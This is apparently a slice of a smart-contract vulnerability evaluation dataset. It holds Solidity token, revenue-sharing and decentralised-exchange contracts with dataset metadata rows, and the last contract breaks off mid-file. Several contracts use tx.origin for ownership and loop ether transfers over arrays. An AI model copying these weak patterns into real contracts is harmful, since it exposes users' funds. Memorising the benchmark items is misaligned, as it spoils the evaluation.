mapping(address => bool) public minters;
uint256 public cap;
constructor(string memory _name,
string memory _symbol,
uint8 _decimals,
uint256 _cap) public ERC20(_name, _symbol) {
_setupDecimals(_decimals);
cap = _cap;
governance = msg.sender;
}
modifier onlyGovernance() {
require(msg.sender == governance, "!governance");
_;
}
modifier onlyMinter() {
require(msg.sender == governance || minters[msg.sender], "!governance && !minter");
_;
}
function mint(address _to, uint256 _amount) external onlyMinter {
_mint(_to, _amount);
}
function burn(uint256 _amount) external {
_burn(msg.sender, _amount);
}
function burnFrom(address _account, uint256 _amount) external {
uint256 decreasedAllowance = allowance(_account, msg.sender).sub(_amount, "ERC20: burn amount exceeds allowance");
_approve(_account, msg.sender, decreasedAllowance);
_burn(_account, _amount);
}
function setGovernance(address _governance) external onlyGovernance {
governance = _governance;
}
function addMinter(address _minter) external onlyGovernance {
minters[_minter] = true;
}
function removeMinter(address _minter) external onlyGovernance {
minters[_minter] = false;
}
function setCap(uint256 _cap) external onlyGovernance {
require(_cap >= totalSupply(), "_cap is below current total supply");
cap = _cap;
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) {
// When minting tokens
require(totalSupply().add(amount) <= cap, "ERC20Capped: cap exceeded");
}
}
function governanceRecoverUnsupported(IERC20 _token,
address _to,
uint256 _amount) external onlyGovernance {
_token.safeTransfer(_to, _amount);
}
}
| 254,828 | 325 |
c53c2b9ce92540c0a08db796f4a27e83d378bb7717c05053da9d0a12a818c636
| 18,032 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xf001f2be101bca44997a3d3fcd6327dc3d8bd45c.sol
| 4,161 | 15,867 |
pragma solidity > 0.4.99 <0.6.0;
interface IERC20Token {
function balanceOf(address owner) external returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function burn(uint256 _value) external returns (bool);
function decimals() external returns (uint256);
function approve(address _spender, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
}
contract Ownable {
address payable public _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
_owner = tx.origin;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address payable newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address payable newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract PayeeShare is Ownable{
struct Payee {
address payable payee;
uint payeePercentage;
}
Payee[] public payees;
string public constant createdBy = "AssetSplit.org - the guys who cut the pizza";
IERC20Token public tokenContract;
bool processingPayout = false;
uint256 public payeePartsLeft = 100;
uint256 public payeePartsToSell = 0;
uint256 public payeePricePerPart = 0;
uint256 public lockedToken;
uint256 public lockedTokenTime;
uint256 minTokenTransfer = 1;
using SafeMath for uint256;
event TokenPayout(address receiver, uint256 value, string memberOf);
event EtherPayout(address receiver, uint256 value, string memberOf);
event PayeeAdded(address payee, uint256 partsPerFull);
event LockedTokensUnlocked();
constructor(address _tokenContract, uint256 _lockedToken, uint256 _lockedTokenTime) public {
tokenContract = IERC20Token(_tokenContract);
lockedToken = _lockedToken;
lockedTokenTime = _lockedTokenTime;
}
function changePayee(uint256 _payeeId, address payable _payee, uint256 _percentage) public onlyOwner {
require(payees.length >= _payeeId);
Payee storage myPayee = payees[_payeeId];
myPayee.payee = _payee;
myPayee.payeePercentage = _percentage;
}
function getPayeeLenght() public view returns (uint256) {
return payees.length;
}
function getLockedToken() public view returns (uint256) {
return lockedToken;
}
function addPayee(address payable _address, uint _payeePercentage) public payable {
if (msg.sender == _owner) {
require(payeePartsLeft >= _payeePercentage);
payeePartsLeft = payeePartsLeft.sub(_payeePercentage);
payees.push(Payee(_address, _payeePercentage));
emit PayeeAdded(_address, _payeePercentage);
}
else if (msg.value == _payeePercentage.mul(payeePricePerPart)) {
if (address(this).balance > 0) {
etherPayout();
}
if (tokenContract.balanceOf(address(this)).sub(lockedToken) > 1) {
tokenPayout();
}
require(payeePartsLeft >= _payeePercentage);
require(payeePartsToSell >= _payeePercentage);
require(tx.origin == msg.sender);
payeePartsToSell = payeePartsToSell.sub(_payeePercentage);
payeePartsLeft = payeePartsLeft.sub(_payeePercentage);
payees.push(Payee(tx.origin, _payeePercentage));
emit PayeeAdded(tx.origin, _payeePercentage);
} else revert();
}
function setPartsToSell(uint256 _parts, uint256 _price) public onlyOwner {
require(payeePartsLeft >= _parts);
payeePartsToSell = _parts;
payeePricePerPart = _price;
}
function etherPayout() public {
require(processingPayout == false);
processingPayout = true;
uint256 receivedValue = address(this).balance;
uint counter = 0;
for (uint i = 0; i < payees.length; i++) {
Payee memory myPayee = payees[i];
myPayee.payee.transfer((receivedValue.mul(myPayee.payeePercentage).div(100)));
emit EtherPayout(myPayee.payee, receivedValue.mul(myPayee.payeePercentage).div(100), "Shareholder");
counter++;
}
if(address(this).balance > 0) {
_owner.transfer(address(this).balance);
emit EtherPayout(_owner, address(this).balance, "Owner");
}
processingPayout = false;
}
function tokenPayout() public payable {
require(processingPayout == false);
require(tokenContract.balanceOf(address(this)) >= lockedToken.add((minTokenTransfer.mul(10 ** tokenContract.decimals()))));
processingPayout = true;
uint256 receivedValue = tokenContract.balanceOf(address(this)).sub(lockedToken);
uint counter = 0;
for (uint i = 0; i < payees.length; i++) {
Payee memory myPayee = payees[i];
tokenContract.transfer(myPayee.payee, receivedValue.mul(myPayee.payeePercentage).div(100));
emit TokenPayout(myPayee.payee, receivedValue.mul(myPayee.payeePercentage).div(100), "Shareholder");
counter++;
}
if (tokenContract.balanceOf(address(this)).sub(lockedToken) > 0) {
tokenContract.transfer(_owner, tokenContract.balanceOf(address(this)).sub(lockedToken));
emit TokenPayout(_owner, tokenContract.balanceOf(address(this)).sub(lockedToken), "Owner");
}
processingPayout = false;
}
function payoutLockedToken() public payable onlyOwner {
require(processingPayout == false);
require(now > lockedTokenTime);
require(tokenContract.balanceOf(address(this)) >= lockedToken);
lockedToken = 0;
if (address(this).balance > 0) {
etherPayout();
}
if (tokenContract.balanceOf(address(this)).sub(lockedToken) > 1) {
tokenPayout();
}
processingPayout = true;
emit LockedTokensUnlocked();
tokenContract.transfer(_owner, tokenContract.balanceOf(address(this)));
processingPayout = false;
}
function() external payable {
}
}
contract ShareManager is Ownable{
using SafeMath for uint256;
IERC20Token public tokenContract;
struct Share {
address payable share;
uint sharePercentage;
}
Share[] public shares;
mapping (uint => address) public sharesToManager;
mapping (address => uint) ownerShareCount;
string public constant createdBy = "AssetSplit.org - the guys who cut the pizza";
bool processingPayout = false;
bool processingShare = false;
PayeeShare payeeShareContract;
uint256 public sharesMaxLength;
uint256 public sharesSold;
uint256 public percentagePerShare;
uint256 public tokenPerShare;
uint256 public tokenLockDays;
address payable ownerAddress;
event TokenPayout(address receiver, uint256 value, string memberOf);
event EtherPayout(address receiver, uint256 value, string memberOf);
event ShareSigned(address shareOwner, address shareContract, uint256 lockTime);
constructor(address _tokenContract, uint256 _tokenPerShare, address payable _contractOwner, uint _ownerPercentage, uint _percentagePerShare) public {
tokenContract = IERC20Token(_tokenContract);
shares.push(Share(_contractOwner, _ownerPercentage));
sharesMaxLength = (uint256(100).sub(_ownerPercentage)).div(_percentagePerShare);
percentagePerShare = _percentagePerShare;
tokenPerShare = _tokenPerShare;
ownerAddress = _owner;
tokenLockDays = 100;
}
function tokenPayout() public payable {
require(processingPayout == false);
require(tokenContract.balanceOf(address(this)) >= uint256(1).mul(10 ** tokenContract.decimals()));
processingPayout = true;
uint256 receivedValue = tokenContract.balanceOf(address(this));
uint counter = 0;
for (uint i = 0; i < shares.length; i++) {
Share memory myShare = shares[i];
if (i > 0) {
payeeShareContract = PayeeShare(myShare.share);
if (payeeShareContract.getLockedToken() == tokenPerShare.mul(10 ** tokenContract.decimals())) {
tokenContract.transfer(myShare.share, receivedValue.mul(myShare.sharePercentage).div(100));
emit TokenPayout(myShare.share, receivedValue.mul(myShare.sharePercentage).div(100), "Shareholder");
}
} else {
tokenContract.transfer(myShare.share, receivedValue.mul(myShare.sharePercentage).div(100));
emit TokenPayout(myShare.share, receivedValue.mul(myShare.sharePercentage).div(100), "Owner");
}
counter++;
}
if(tokenContract.balanceOf(address(this)) > 0) {
tokenContract.transfer(_owner, tokenContract.balanceOf(address(this)));
emit TokenPayout(_owner, tokenContract.balanceOf(address(this)), "Owner - left from shares");
}
processingPayout = false;
}
function etherPayout() public payable {
require(address(this).balance > uint256(1).mul(10 ** 18).div(100));
require(processingPayout == false);
processingPayout = true;
uint256 receivedValue = address(this).balance;
uint counter = 0;
for (uint i = 0; i < shares.length; i++) {
Share memory myShare = shares[i];
if (i > 0) {
payeeShareContract = PayeeShare(myShare.share);
if (payeeShareContract.getLockedToken() == tokenPerShare.mul(10 ** tokenContract.decimals())) {
myShare.share.transfer((receivedValue.mul(myShare.sharePercentage).div(100)));
emit EtherPayout(myShare.share, receivedValue.mul(myShare.sharePercentage).div(100), "Shareholder");
}
} else {
myShare.share.transfer((receivedValue.mul(myShare.sharePercentage).div(100)));
emit EtherPayout(myShare.share, receivedValue.mul(myShare.sharePercentage).div(100), "Owner");
}
counter++;
}
if(address(this).balance > 0) {
_owner.transfer(address(this).balance);
emit EtherPayout(_owner, address(this).balance, "Owner - left from shares");
}
processingPayout = false;
}
function() external payable {
}
function newShare() public payable returns (address) {
require(shares.length <= sharesMaxLength);
require(tokenContract.balanceOf(msg.sender) >= tokenPerShare.mul((10 ** tokenContract.decimals())));
if (address(this).balance > uint256(1).mul(10 ** 18).div(100)) {
etherPayout();
}
if (tokenContract.balanceOf(address(this)) >= uint256(1).mul(10 ** tokenContract.decimals())) {
tokenPayout();
}
require(processingShare == false);
uint256 lockedUntil = now.add((tokenLockDays).mul(1 days));
processingShare = true;
PayeeShare c = (new PayeeShare)(address(tokenContract), tokenPerShare.mul(10 ** tokenContract.decimals()), lockedUntil);
require(tokenContract.transferFrom(msg.sender, address(c), tokenPerShare.mul(10 ** tokenContract.decimals())));
uint id = shares.push(Share(address(c), percentagePerShare)).sub(1);
sharesToManager[id] = msg.sender;
ownerShareCount[msg.sender] = ownerShareCount[msg.sender].add(1);
emit ShareSigned(msg.sender, address(c), lockedUntil);
if (tokenLockDays > 0) {
tokenLockDays = tokenLockDays.sub(1);
}
sharesSold = sharesSold.add(1);
processingShare = false;
return address(c);
}
function getSharesByShareOwner(address _shareOwner) external view returns (uint[] memory) {
uint[] memory result = new uint[](ownerShareCount[_shareOwner]);
uint counter = 0;
for (uint i = 0; i < shares.length; i++) {
if (sharesToManager[i] == _shareOwner) {
result[counter] = i;
counter++;
}
}
return result;
}
}
contract AssetSplitShare is Ownable {
struct AssetFactory {
address contractAddress;
address contractCreator;
string contractType;
}
AssetFactory[] public contracts;
mapping (uint => address) public contractToOwner;
mapping (uint => address) public contractToContract;
string public constant createdBy = "AssetSplit.org - the guys who cut the pizza";
IERC20Token public tokenContract;
event ContractCreated(address contractAddress, address contractCreator, string contractType);
uint256 priceInEther = 3 ether;
uint256 shareManagerPrice = 15;
using SafeMath for uint256;
constructor(address _tokenContract) public {
tokenContract = IERC20Token(_tokenContract);
}
function purchaseShareManager(address _tokenContract, uint256 _pricePerShare, address payable _contractOwner, uint _ownerPercentage, uint _percentagePerShare) public payable returns (address) {
if (msg.value >= priceInEther) {
address c = newShareManager(_tokenContract, _pricePerShare, _contractOwner, _ownerPercentage, _percentagePerShare);
_owner.transfer(address(this).balance);
return address(c);
} else {
require(tokenContract.balanceOf(msg.sender) >= shareManagerPrice.mul(10 ** tokenContract.decimals()));
require(tokenContract.transferFrom(msg.sender, _owner, shareManagerPrice.mul(10 ** tokenContract.decimals())));
address c = newShareManager(_tokenContract, _pricePerShare, _contractOwner, _ownerPercentage, _percentagePerShare);
return address(c);
}
}
function newShareManager(address _tokenContract, uint256 _pricePerShare, address payable _contractOwner, uint _ownerPercentage, uint _percentagePerShare) internal returns (address) {
ShareManager c = (new ShareManager)(_tokenContract, _pricePerShare, _contractOwner, _ownerPercentage, _percentagePerShare);
uint id = contracts.push(AssetFactory(address(c), tx.origin, "ShareManager")).sub(1);
contractToOwner[id] = tx.origin;
emit ContractCreated(address(c), tx.origin, "ShareManager");
return address(c);
}
function newShare(address _tokenContractAddress) internal returns (address) {
PayeeShare c = (new PayeeShare)(_tokenContractAddress, 0, 0);
uint id = contracts.push(AssetFactory(address(c), tx.origin, "Share")).sub(1);
contractToContract[id] = msg.sender;
emit ContractCreated(address(c), tx.origin, "Share");
return address(c);
}
function() external payable {
}
}
| 188,694 | 326 |
4cbf62e81bb1cf599ab32aa8c4548d9825a7e211419397314c732d197ec8b3b3
| 27,487 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xababb61a9f837aad53ed4320221737fc6e9dc84b.sol
| 6,124 | 22,105 |
pragma solidity >=0.5;
pragma experimental ABIEncoderV2;
contract DexStatus {
string constant ONLY_RELAYER = "ONLY_RELAYER";
string constant ONLY_AIRDROP = "ONLY_AIRDROP";
string constant ONLY_INACTIVITY = "ONLY_INACTIVITY";
string constant ONLY_WITHDRAWALAPPROVED = "ONLY_WITHDRAWALAPPROVED";
string constant INVALID_NONCE = "INVALID_NONCE";
string constant INVALID_PERIOD = "INVALID_PERIOD";
string constant INVALID_AMOUNT = "INVALID_AMOUNT";
string constant INVALID_TIME = "INVALID_TIME";
string constant INVALID_GASTOKEN = "INVALID_GASTOKEN";
string constant TRANSFER_FAILED = "TRANSFER_FAILED";
string constant ECRECOVER_FAILED = "ECRECOVER_FAILED";
string constant INSUFFICIENT_FOUND = "INSUFFICIENT";
string constant TRADE_EXISTS = "TRADED";
string constant WITHDRAW_EXISTS = "WITHDRAWN";
string constant MAX_VALUE_LIMIT = "MAX_LIMIT";
string constant AMOUNT_EXCEEDED = "AMOUNT_EXCEEDED";
}
interface IGasStorage
{
function mint(uint256 value) external;
function burn(uint256 value) external;
function balanceOf() external view returns (uint256 balance);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = tx.origin;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
interface ERC20 {
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success) ;
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) view external returns (uint256 remaining);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Dex is Ownable,DexStatus {
using SafeMath for uint256;
struct Order
{
address token;
address baseToken;
address user;
uint256 tokenAmount;
uint256 baseTokenAmount;
uint nonce;
uint expireTime;
uint maxGasFee;
uint timestamp;
address gasToken;
bool sell;
uint8 V;
bytes32 R;
bytes32 S;
uint signType;
}
struct TradeInfo {
uint256 tradeTokenAmount;
uint256 tradeTakerFee;
uint256 tradeMakerFee;
uint256 tradeGasFee;
uint tradeNonce;
address tradeGasToken;
}
mapping (address => mapping (address => uint256)) public _balances;
mapping (address => uint) public _invalidOrderNonce;
mapping (bytes32 => uint256) public _orderFills;
mapping (address => bool) public _relayers;
mapping (bytes32 => bool) public _traded;
mapping (bytes32 => bool) public _withdrawn;
mapping (bytes32 => uint256) public _orderGasFee;
mapping (address => uint) public _withdrawalApplication;
address public _feeAccount;
address public _airdropContract;
address public _gasStorage;
uint256 public _withdrawalApplicationPeriod = 10 days;
uint256 public _takerFeeRate = 0.002 ether;
uint256 public _makerFeeRate = 0.001 ether;
string private constant EIP712DOMAIN_TYPE = "EIP712Domain(string name)";
bytes32 private constant EIP712DOMAIN_TYPEHASH = keccak256(abi.encodePacked(EIP712DOMAIN_TYPE));
bytes32 private constant DOMAIN_SEPARATOR = keccak256(abi.encode(EIP712DOMAIN_TYPEHASH,keccak256(bytes("Dex.io"))));
string private constant ORDER_TYPE = "Order(address token,address baseToken,uint256 tokenAmount,uint256 baseTokenAmount,uint256 nonce,bool sell,uint256 expireTime,uint256 maxGasFee,address gasToken,uint timestamp)";
bytes32 private constant ORDER_TYPEHASH = keccak256(abi.encodePacked(ORDER_TYPE));
string private constant WITHDRAW_TYPE = "Withdraw(address token,uint256 tokenAmount,address to,uint256 nonce,address feeToken,uint256 feeWithdrawal,uint timestamp)";
bytes32 private constant WITHDRAW_TYPEHASH = keccak256(abi.encodePacked(WITHDRAW_TYPE));
event Trade(bytes32 takerHash,bytes32 makerHash,uint256 tradeAmount,uint256 tradeBaseTokenAmount,uint256 tradeNonce,uint256 takerCostFee,
uint makerCostFee,bool sellerIsMaker,uint256 gasFee);
event Balance(uint256 takerBaseTokenBalance,uint256 takerTokenBalance,uint256 makerBaseTokenBalance,uint256 makerTokenBalance);
event Deposit(address indexed token, address indexed user, uint256 amount, uint256 balance);
event Withdraw(address indexed token,address indexed from,address indexed to, uint256 amount, uint256 balance);
event Transfer(address indexed token,address indexed from,address indexed to, uint256 amount, uint256 fromBalance,uint256 toBalance);
event Airdrop(address indexed to, address indexed token,uint256 amount);
event WithdrawalApplication(address user,uint timestamp);
modifier onlyRelayer {
if (msg.sender != owner && !_relayers[msg.sender]) revert(ONLY_RELAYER);
_;
}
modifier onlyAirdropContract {
if (msg.sender != _airdropContract) revert(ONLY_AIRDROP);
_;
}
modifier onlyWithdrawalApplicationApproved {
require (_withdrawalApplication[msg.sender] != uint(0) &&
block.timestamp - _withdrawalApplicationPeriod > _withdrawalApplication[msg.sender],
ONLY_WITHDRAWALAPPROVED);
_;
}
constructor(address feeAccount) public {
_feeAccount = feeAccount;
}
function() external {
revert();
}
function setRelayer(address relayer, bool isRelayer) public onlyOwner {
_relayers[relayer] = isRelayer;
}
function isRelayer(address relayer) public view returns(bool) {
return _relayers[relayer];
}
function setFeeAccount(address feeAccount) public onlyOwner {
_feeAccount = feeAccount;
}
function setFee(uint256 makerFeeRate,uint256 takerFeeRate) public onlyOwner {
require(makerFeeRate <= 0.005 ether && takerFeeRate <= 0.005 ether,MAX_VALUE_LIMIT);
_makerFeeRate = makerFeeRate;
_takerFeeRate = takerFeeRate;
}
function setGasStorage(address gasStorage) public onlyOwner {
_gasStorage = gasStorage;
}
function setAirdrop(address airdrop) public onlyOwner{
_airdropContract = airdrop;
}
function setWithdrawalApplicationPeriod(uint period) public onlyOwner {
if(period > 10 days){
return;
}
_withdrawalApplicationPeriod = period;
}
function invalidateOrdersBefore(address user, uint256 nonce) public onlyRelayer {
if (nonce < _invalidOrderNonce[user]) {
revert(INVALID_NONCE);
}
_invalidOrderNonce[user] = nonce;
}
function depositToken(address token, uint256 amount) public {
require(ERC20(token).transferFrom(msg.sender, address(this), amount),TRANSFER_FAILED);
_deposit(msg.sender,token,amount);
}
function depositTokenTo(address to,address token, uint256 amount) public {
require(ERC20(token).transferFrom(msg.sender, address(this), amount),TRANSFER_FAILED);
_deposit(to,token,amount);
}
function deposit() public payable {
_deposit(msg.sender,address(0),msg.value);
}
function depositTo(address to) public payable {
_deposit(to,address(0),msg.value);
}
function _deposit(address user,address token,uint256 amount) internal {
_balances[token][user] = _balances[token][user].add(amount);
emit Deposit(token, user, amount, _balances[token][user]);
}
function submitWithdrawApplication() public {
_withdrawalApplication[msg.sender] = block.timestamp;
emit WithdrawalApplication(msg.sender,block.timestamp);
}
function cancelWithdrawApplication() public {
_withdrawalApplication[msg.sender] = 0;
emit WithdrawalApplication(msg.sender,0);
}
function isWithdrawApplication(address user) view public returns(bool) {
if(_withdrawalApplication[user] == uint(0)) {
return false;
}
return true;
}
function _withdraw(address from,address payable to,address token,uint256 amount) internal {
if (_balances[token][from] < amount) {
revert(INSUFFICIENT_FOUND);
}
_balances[token][from] = _balances[token][from].sub(amount);
if(token == address(0)) {
to.transfer(amount);
}else{
require(ERC20(token).transfer(to, amount),TRANSFER_FAILED);
}
emit Withdraw(token, from, to, amount, _balances[token][from]);
}
function withdraw(address token) public onlyWithdrawalApplicationApproved {
uint256 amount = _balances[token][msg.sender];
if(amount != 0){
_withdraw(msg.sender,msg.sender,token,amount);
}
}
function withdrawAll(address[] memory tokens) public onlyWithdrawalApplicationApproved {
for(uint256 i = 0; i< tokens.length ;i++){
uint256 amount = _balances[tokens[i]][msg.sender];
if(amount == 0){
continue;
}
_withdraw(msg.sender,msg.sender,tokens[i],amount);
}
}
function authorizedWithdraw(address payable to,address token,uint256 amount,
uint256 nonce,uint expiredTime,address relayer,uint8 v, bytes32 r,bytes32 s) public
{
require(_withdrawalApplication[msg.sender] == uint(0));
require(expiredTime >= block.timestamp,INVALID_TIME);
require(_relayers[relayer] == true,ONLY_RELAYER);
bytes32 hash = keccak256(abi.encodePacked(msg.sender,to, token, amount, nonce, expiredTime));
if (_withdrawn[hash]) {
revert(WITHDRAW_EXISTS);
}
_withdrawn[hash] = true;
if (ecrecover(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)), v, r, s) != relayer) {
revert(ECRECOVER_FAILED);
}
_withdraw(msg.sender,to,token,amount);
}
function adminWithdraw(address from,address payable to,address token,uint256 amount,uint256 nonce,uint8 v,bytes32[2] memory rs,
address feeToken,uint256 feeWithdrawal,uint timestamp,uint signType) public onlyRelayer {
bytes32 hash = ecrecoverWithdraw(from,to,token,amount,nonce,v,rs,feeToken,feeWithdrawal,timestamp,signType);
if (_withdrawn[hash]) {
revert(WITHDRAW_EXISTS);
}
_withdrawn[hash] = true;
_transfer(from,to,token,amount,feeToken,feeWithdrawal,false);
}
function adminTransfer(address from,address payable to,address token,uint256 amount,uint256 nonce,uint8 v,bytes32[2] memory rs,
address feeToken,uint256 feeWithdrawal,uint timestamp,uint signType) public onlyRelayer {
bytes32 hash = ecrecoverWithdraw(from,to,token,amount,nonce,v,rs,feeToken,feeWithdrawal,timestamp,signType);
if (_withdrawn[hash]) {
revert(WITHDRAW_EXISTS);
}
_withdrawn[hash] = true;
_transfer(from,to,token,amount,feeToken,feeWithdrawal,true);
}
function _transfer(address from,address payable to,address token,uint256 amount, address feeToken,uint256 feeWithdrawal, bool isInternal) internal {
if (feeWithdrawal > 0)
{
require(_balances[feeToken][from] >= feeWithdrawal, INSUFFICIENT_FOUND);
_balances[feeToken][from] = _balances[feeToken][from].sub(feeWithdrawal);
_balances[feeToken][_feeAccount] = _balances[feeToken][_feeAccount].add(feeWithdrawal);
}
if (_balances[token][from] < amount) { revert(INSUFFICIENT_FOUND); }
_balances[token][from] = _balances[token][from].sub(amount);
if(isInternal)
{
_balances[token][to] = _balances[token][to].add(amount);
emit Transfer(token, from, to, amount, _balances[token][from], _balances[token][to]);
}else{
if(token == address(0)) {
to.transfer(amount);
}else{
require(ERC20(token).transfer(to, amount),TRANSFER_FAILED);
}
emit Withdraw(token, from, to, amount, _balances[token][from]);
}
}
function adminWithdrawAll(address payable user,address[] memory tokens) public onlyOwner {
for(uint256 i = 0; i< tokens.length ;i++){
address token = tokens[i];
uint256 amount = _balances[token][user];
if(amount == 0){
continue;
}
_withdraw(user,user,token,amount);
}
}
function balanceOf(address token, address user) public view returns (uint256) {
return _balances[token][user];
}
function tradeOrder(Order memory taker,Order memory maker, TradeInfo memory ti) public onlyRelayer
{
uint256 gasInitial = gasleft();
bytes32 takerHash = ecrecoverOrder(taker,taker.signType);
bytes32 makerHash = ecrecoverOrder(maker,maker.signType);
bytes32 tradeHash = keccak256(abi.encodePacked(takerHash ,makerHash));
require(_traded[tradeHash] == false,TRADE_EXISTS);
_traded[tradeHash] = true;
_tradeOrder(taker,maker,ti,takerHash,makerHash);
uint256 gasUsed = gasInitial - gasleft();
_burnGas(gasUsed);
}
function _tradeOrder(Order memory taker,Order memory maker, TradeInfo memory ti, bytes32 takerHash,bytes32 makerHash) internal
{
require(taker.baseToken == maker.baseToken && taker.token == maker.token);
require(ti.tradeTokenAmount > 0 , INVALID_AMOUNT);
require((block.timestamp <= taker.expireTime) && (block.timestamp <= maker.expireTime) , INVALID_TIME);
require((_invalidOrderNonce[taker.user] < taker.nonce) &&(_invalidOrderNonce[maker.user] < maker.nonce),INVALID_NONCE) ;
require((taker.tokenAmount.sub(_orderFills[takerHash]) >= ti.tradeTokenAmount) &&
(maker.tokenAmount.sub(_orderFills[makerHash]) >= ti.tradeTokenAmount), AMOUNT_EXCEEDED);
require(taker.gasToken == ti.tradeGasToken, INVALID_GASTOKEN);
uint256 tradeBaseTokenAmount = ti.tradeTokenAmount.mul(maker.baseTokenAmount).div(maker.tokenAmount);
(uint256 takerFee,uint256 makerFee) = calcMaxFee(ti,tradeBaseTokenAmount,maker.sell);
uint gasFee = ti.tradeGasFee;
if(gasFee != 0)
{
if(taker.maxGasFee < _orderGasFee[takerHash].add(gasFee))
{
gasFee = taker.maxGasFee.sub(_orderGasFee[takerHash]);
}
if(gasFee != 0)
{
_orderGasFee[takerHash] = _orderGasFee[takerHash].add(gasFee);
_balances[taker.gasToken][taker.user] = _balances[taker.gasToken][taker.user].sub(gasFee);
}
}
if(maker.sell)
{
//maker is seller
_updateOrderBalance(taker.user,maker.user,taker.baseToken,taker.token,
tradeBaseTokenAmount,ti.tradeTokenAmount,takerFee,makerFee);
}else
{
//maker is buyer
_updateOrderBalance(maker.user,taker.user,taker.baseToken,taker.token,
tradeBaseTokenAmount,ti.tradeTokenAmount,makerFee,takerFee);
}
//fill order
_orderFills[takerHash] = _orderFills[takerHash].add(ti.tradeTokenAmount);
_orderFills[makerHash] = _orderFills[makerHash].add(ti.tradeTokenAmount);
emit Trade(takerHash,makerHash,ti.tradeTokenAmount,tradeBaseTokenAmount,ti.tradeNonce,takerFee,makerFee, maker.sell ,gasFee);
emit Balance(_balances[taker.baseToken][taker.user],_balances[taker.token][taker.user],_balances[maker.baseToken][maker.user],_balances[maker.token][maker.user]);
}
function _updateOrderBalance(address buyer,address seller,address base,address token,uint256 baseAmount,uint256 amount,uint256 buyFee,uint256 sellFee) internal
{
_balances[base][seller] = _balances[base][seller].add(baseAmount.sub(sellFee));
_balances[base][buyer] = _balances[base][buyer].sub(baseAmount);
_balances[token][buyer] = _balances[token][buyer].add(amount.sub(buyFee));
_balances[token][seller] = _balances[token][seller].sub(amount);
_balances[base][_feeAccount] = _balances[base][_feeAccount].add(sellFee);
_balances[token][_feeAccount] = _balances[token][_feeAccount].add(buyFee);
}
function calcMaxFee(TradeInfo memory ti,uint256 tradeBaseTokenAmount,bool sellerIsMaker) view public returns (uint256 takerFee,uint256 makerFee) {
uint maxTakerFee;
uint maxMakerFee;
takerFee = ti.tradeTakerFee;
makerFee = ti.tradeMakerFee;
if(sellerIsMaker)
{
// taker is buyer
maxTakerFee = (ti.tradeTokenAmount * _takerFeeRate) / 1 ether;
maxMakerFee = (tradeBaseTokenAmount * _makerFeeRate) / 1 ether;
}else{
// maker is buyer
maxTakerFee = (tradeBaseTokenAmount * _takerFeeRate) / 1 ether;
maxMakerFee = (ti.tradeTokenAmount * _makerFeeRate) / 1 ether;
}
if(ti.tradeTakerFee > maxTakerFee)
{
takerFee = maxTakerFee;
}
if(ti.tradeMakerFee > maxMakerFee)
{
makerFee = maxMakerFee;
}
}
function getFeeRate() view public returns(uint256 makerFeeRate,uint256 takerFeeRate)
{
return (_makerFeeRate,_takerFeeRate);
}
function getOrderFills(bytes32 orderHash) view public returns(uint256 filledAmount)
{
return _orderFills[orderHash];
}
///@dev check orders traded
function isTraded(bytes32 buyOrderHash,bytes32 sellOrderHash) view public returns(bool traded)
{
return _traded[keccak256(abi.encodePacked(buyOrderHash, sellOrderHash))];
}
function airdrop(address to,address token,uint256 amount) public onlyAirdropContract
{
//Not EOA
require(tx.origin != msg.sender);
require(_balances[token][msg.sender] >= amount ,INSUFFICIENT_FOUND);
_balances[token][msg.sender] = _balances[token][msg.sender].sub(amount);
_balances[token][to] = _balances[token][to].add(amount);
emit Airdrop(to,token,amount);
}
